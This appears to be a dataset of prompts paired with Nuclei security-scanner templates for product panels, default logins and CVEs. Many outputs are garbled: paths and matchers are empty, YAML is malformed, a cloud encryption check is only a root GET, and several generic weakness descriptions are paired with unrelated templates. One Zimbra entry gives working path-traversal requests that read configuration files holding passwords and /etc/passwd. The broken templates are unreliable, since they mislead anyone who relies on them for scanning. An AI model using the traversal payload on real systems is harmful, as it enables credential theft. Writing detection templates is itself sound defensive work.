Title: VM Disk Encryption with Customer-Supplied Keys Disabled
Summary: VM Disk Encryption with Customer-Supplied Keys Disabled. Ensure that the disks attached to your production Google Compute Engine instances are encrypted with Customer-Supplied Encryption Keys (CSEKs) in order to have complete control over the data-at-rest encryption and decryption process, and meet strict compliance requirements.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: gcloud-vm-disk-csek-disabled

info:
  name: VM Disk Encryption with Customer-Supplied Keys Disabled
  author: princechaddha
  severity: high
  description: Ensure that the disks attached to your production Google Compute Engine instances are encrypted with Customer-Supplied Encryption Keys (CSEKs) in order to have complete control over the data-at-rest encryption and decryption process, and meet strict compliance requirements.
  tags: cloud,devops,gcp,gcloud,compute,encryption,csek,security,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Squid Analysis Report Generator

Input:
Title: Squid Analysis Report Generator
Summary: Squid Analysis Report Generator. SARG is an open source tool that allows you to analyse the squid log files and generates beautiful reports in HTML format with information about users, IP addresses, top accessed sites, total bandwidth usage, elapsed time, downloads, access denied websites, daily reports, weekly reports and monthly reports.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: squid-analysis-report-generator

info:
  name: Squid Analysis Report Generator
  author: geeknik
  severity: high
  description: SARG is an open source tool that allows you to analyse the squid log files and generates beautiful reports in HTML format with information about users, IP addresses, top accessed sites, total bandwidth usage, elapsed time, downloads, access denied websites, daily reports, weekly reports and monthly reports.
  tags: sarg,exposure,logs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Squid User Access Report"
          - "Squid User's Access Report"
        part: body
        condition: or
      - type: word
        words:
          - "<td>Daily reports"
          - "FILE/PERIOD"
        part: body
        condition: or


Instruction: Generate a Nuclei template for: Allnet - Default Login

Input:
Title: Allnet - Default Login
Summary: Allnet - Default Login. Allnet contains a default login vulnerability. Default admin login password 'admin' was found.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: allnet-default-login

info:
  name: Allnet - Default Login
  author: ritikchaddha
  severity: high
  description: Allnet contains a default login vulnerability. Default admin login password 'admin' was found.
  tags: default-login,allnet,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ">LOGOUT"
          - "REBOOT"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Polarion Siemens Login - Panel

Input:
Title: Polarion Siemens Login - Panel
Summary: Polarion Siemens Login - Panel. Detects the exposed Polarion Siemens login page.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: polarion-siemens-panel

info:
  name: Polarion Siemens Login - Panel
  author: Th3l0newolf
  severity: info
  description: Detects the exposed Polarion Siemens login page.
  tags: polarion,siemens,login,panel,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/polarion/"
    matchers:
      - type: word
        words:
          - "Polarion AG"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Red Leaves Malware Hash - Detect

Input:
Title: Red Leaves Malware Hash - Detect
Summary: Red Leaves Malware Hash - Detect. Red Leaves malware, related to APT10

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: red-leaves-malware-hash

info:
  name: Red Leaves Malware Hash - Detect
  author: pussycat0x
  severity: info
  description: Red Leaves malware, related to APT10
  tags: malware,apt,red-leaves

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Azure Websites - Cloud Enumeration

Input:
Title: Azure Websites - Cloud Enumeration
Summary: Azure Websites - Cloud Enumeration. Searches for Azure websites that are registered and responding.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: azure-website-enum

info:
  name: Azure Websites - Cloud Enumeration
  author: initstring
  severity: info
  description: Searches for Azure websites that are registered and responding.
  tags: cloud,enum,azure,discovery

http:
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
        condition: or


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: symantec-pgp-global-directory

info:
  name: Symantec PGP Global Directory Panel - Detect
  author: princechaddha
  severity: info
  description: Symantec PGP Global Directory panel was detected.
  tags: symantec,panel,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/vkd/GetWelcomeScreen.event"
    matchers:
      - type: word
        words:
          - "<TITLE>PGP Global Directory</TITLE>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-24682

Input:
Title: Vulnerability (CWE-116) in synacor zimbra_collaboration_suite
Summary: An issue was discovered in the Calendar feature in Zimbra Collaboration Suite 8.8.x before 8.8.15 patch 30 (update 1), as exploited in the wild starting in December 2021. An attacker could place HTML containing executable JavaScript inside element attributes. This markup becomes unescaped, causing arbitrary markup to be injected into the document.
Vulnerability Type: Vulnerability (CWE-116)
Severity: medium
Affected Products: synacor zimbra_collaboration_suite
Indicators: error, vulnerability detected

Output:
id: CVE-2022-24682

info:
  name: Zimbra Collaboration Suite < 8.8.15 - Improper Encoding
  author: rxerium
  severity: medium
  description: An issue was discovered in the Calendar feature in Zimbra Collaboration Suite 8.8.x before 8.8.15 patch 30 (update 1), as exploited in the wild starting in December 2021. An attacker could place HTML containing executable JavaScript inside element attributes. This markup becomes unescaped, causing arbitrary markup to be injected into the document.
  tags: cve,cve2022,zimbra,collaboration,xss,kev,passive,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/js/zimbraMail/share/model/ZmSettings.js"
    matchers:
      - type: word
        words:
          - "Zimbra Collaboration Suite Web Client"
        part: body
      - type: word
        words:
          - "application/x-javascript"
        part: content_type
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2021-40323

Input:
Title: Code Injection in cobbler_project cobbler
Summary: Cobbler before 3.3.0 allows log poisoning, and resultant Remote Code Execution, via an XMLRPC method that logs to the logfile for template injection.
Vulnerability Type: Code Injection
Severity: critical
Affected Products: cobbler_project cobbler
Indicators: error, vulnerability detected

Output:
id: CVE-2021-40323

info:
  name: Cobbler <3.3.0 - Remote Code Execution
  author: c-sh0
  severity: critical
  description: Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via an XMLRPC method.
  tags: cve,cve2021,cobbler,rce,cobbler_project,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "text/xml"
        part: header
      - type: regex
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: django-admin-panel

info:
  name: Python Django Admin Login Panel - Detect
  author: pdteam,righettod
  severity: info
  description: Python Django admin login panel was detected.
  tags: panel,django,python,djangoproject,login,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/login/"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2024-4940

Input:
Title: Vulnerability (CWE-601) in gradio_project gradio
Summary: An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version. The vulnerability allows an attacker to redirect users to arbitrary websites, which can be exploited for phishing attacks, Cross-site Scripting (XSS), Server-Side Request Forgery (SSRF), amongst others. This issue is due to improper validation of user-supplied input in the handling of URLs. Attackers can exploit this vulnerability by crafting a malicious URL that, when processed by the application, redirects the user to an attacker-controlled web page.
Vulnerability Type: Vulnerability (CWE-601)
Severity: medium
Affected Products: gradio_project gradio
Indicators: error, vulnerability detected

Output:
id: CVE-2024-4940

info:
  name: Gradio - Open Redirect
  author: DhiyaneshDK
  severity: medium
  description: An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version. The vulnerability allows an attacker to redirect users to arbitrary websites, which can be exploited for phishing attacks, Cross-site Scripting (XSS), Server-Side Request Forgery (SSRF), amongst others. This issue is due to improper validation of user-supplied input in the handling of URLs. Attackers can exploit this vulnerability by crafting a malicious URL that, when processed by the application, redirects the user to an attacker-controlled web page.
  tags: cve,cve2024,redirect,oast,gradio,vuln

http:
  - method: GET
    path:
    matchers:
      - type: regex
        part: header
      - type: status
        status:
          - 302


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: avayaaura-cm-panel

info:
  name: Avaya Aura Communication Manager Login - Panel Detect
  author: princechaddha
  severity: info
  description: Avaya Aura Communication Manager login panel was detected.
  tags: panel,avaya,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/common/login/webLogin"
    matchers:
      - type: word
        words:
          - "Avaya Aura"
          - "Communication Manager (CM)"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: magnolia-default-login

info:
  name: Magnolia CMS Default Login - Detect
  author: pussycat0x
  severity: high
  description: Magnolia CMS default login credentials were detected.
  tags: magnolia,default-login,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""changes":"
          - ""resources":"
        part: body_3
        condition: and
      - type: word
        words:
          - "application/json"
        part: header_3
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: SNMPv3 Fingerprint - Detect

Input:
Title: SNMPv3 Fingerprint - Detect
Summary: SNMPv3 Fingerprint - Detect. SNMPv3 can leak information about the device even without proper authentication.Use `nmap -sU <ADDRESS> -p 161 --script snmp-info` to get more information.Engine IDs can help to determine one device with multiple interfaces.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: snmpv3-detect

info:
  name: SNMPv3 Fingerprint - Detect
  author: matejsmycka
  severity: info
  description: SNMPv3 can leak information about the device even without proper authentication.Use `nmap -sU <ADDRESS> -p 161 --script snmp-info` to get more information.Engine IDs can help to determine one device with multiple interfaces.
  tags: js,udp,network,snmp

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: VMware Aria Operations Login - Detect

Input:
Title: VMware Aria Operations Login - Detect
Summary: VMware Aria Operations Login - Detect. Detects VMware Aria Operations Panel.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: vmware-aria-panel

info:
  name: VMware Aria Operations Login - Detect
  author: rxerium
  severity: info
  description: Detects VMware Aria Operations Panel.
  tags: panel,aria,login,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/ui/login.action"
    matchers:
      - type: word
        words:
          - "<title>VMware Aria Operations</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2013-7091

Input:
Title: Path Traversal in synacor zimbra_collaboration_suite
Summary: Directory traversal vulnerability in /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz in Zimbra 7.2.2 and 8.0.2 allows remote attackers to read arbitrary files via a ..  (dot dot) in the skin parameter.  NOTE: this can be leveraged to execute arbitrary code by obtaining LDAP credentials and accessing the service/admin/soap API.
Vulnerability Type: Path Traversal
Severity: medium
Affected Products: synacor zimbra_collaboration_suite
Indicators: error, vulnerability detected

Output:
id: CVE-2013-7091

info:
  name: Zimbra Collaboration Server 7.2.2/8.0.2 Local File Inclusion
  author: rubina119
  severity: medium
  description: A directory traversal vulnerability in /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz in Zimbra 7.2.2 and 8.0.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the skin parameter. This can be leveraged to execute arbitrary code by obtaining LDAP credentials and accessing the service/admin/soap API.
  tags: cve2013,cve,packetstorm,zimbra,lfi,edb,synacor,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
      - "{{BaseURL}}/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../etc/passwd%00"
    matchers:
      - type: word
        words:
          - "zimbra_server_hostname"
          - "zimbra_ldap_userdn"
          - "zimbra_ldap_password"
          - "ldap_postfix_password"
          - "ldap_amavis_password"
          - "ldap_nginx_password"
          - "mysql_root_password"
        condition: or
      - type: regex


Instruction: Generate a Nuclei template for CVE-2014-9735

Input:
Title: Vulnerability (CWE-264) in themepunch showbiz_pro and others
Summary: The ThemePunch Slider Revolution (revslider) plugin before 3.0.96 for WordPress and Showbiz Pro plugin 1.7.1 and earlier for Wordpress does not properly restrict access to administrator AJAX functionality, which allows remote attackers to (1) upload and execute arbitrary files via an update_plugin action; (2) delete arbitrary sliders via a delete_slider action; and (3) create, (4) update, (5) import, or (6) export arbitrary sliders via unspecified vectors.
Vulnerability Type: Vulnerability (CWE-264)
Severity: high
Affected Products: themepunch showbiz_pro, themepunch slider_revolution
Indicators: error, vulnerability detected

Output:
id: CVE-2014-9735

info:
  name: WordPress RevSlider - Remote Code Execution via File Upload
  author: iamnoooob,pdresearch
  severity: high
  description: The ThemePunch Slider Revolution (revslider) plugin before 3.0.96 for WordPress and Showbiz Pro plugin 1.7.1 and earlier for Wordpress does not properly restrict access to administrator AJAX functionality, which allows remote attackers to (1) upload and execute arbitrary files via an update_plugin action; (2) delete arbitrary sliders via a delete_slider action; and (3) create, (4) update, (5) import, or (6) export arbitrary sliders via unspecified vectors.
  tags: cve,cve2014,wordpress,revslider,fileupload,rce,plugin,wp,unauth,intrusive,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: quantum-scalar-detect

info:
  name: Quantum Scalar i500 Login Panel - Detect
  author: princechaddha
  severity: info
  description: Quantum Scalar i500 login panel was detected.
  tags: panel,quantum,scalar,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-4305

Input:
Title: Unknown Vulnerability in wp-buy login_as_user_or_customer_\(user_switching\)
Summary: The Login as User or Customer WordPress plugin before 3.3 lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.
Vulnerability Type: Unknown Vulnerability
Severity: critical
Affected Products: wp-buy login_as_user_or_customer_\(user_switching\)
Indicators: error, vulnerability detected

Output:
id: CVE-2022-4305

info:
  name: Login as User or Customer < 3.3 - Privilege Escalation
  author: r3Y3r53
  severity: critical
  description: The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.
  tags: cve,cve2022,wpscan,wordpress,wp-plugin,wp,login-as-customer-or-user,auth-bypass,wp-buy,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Forced Browsing

Input:
Title: Forced Browsing (CWE-425)
Summary: The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files. Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.
Vulnerability Type: Forced Browsing
Severity: high
Indicators: vulnerability detected, error

Output:
id: CNVD-2020-67113

info:
  name: H5S CONSOLE - Unauthorized Access
  author: ritikchaddha
  severity: medium
  description: H5S CONSOLE is susceptible to an unauthorized access vulnerability.
  tags: cnvd,cnvd2020,h5s,unauth,h5sconsole,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/GetSrc"
      - "{{BaseURL}}/api/v1/GetDevice"
    matchers:
      - type: word
        words:
          - "strUser"
          - "strPasswd"
        part: body
        condition: and
      - type: word
        words:
          - "H5_AUTO"
          - "H5_DEV"
        part: body
        condition: or
      - type: word
        words:
          - "application/json"
        part: header
      - type: status
        status:
          - 200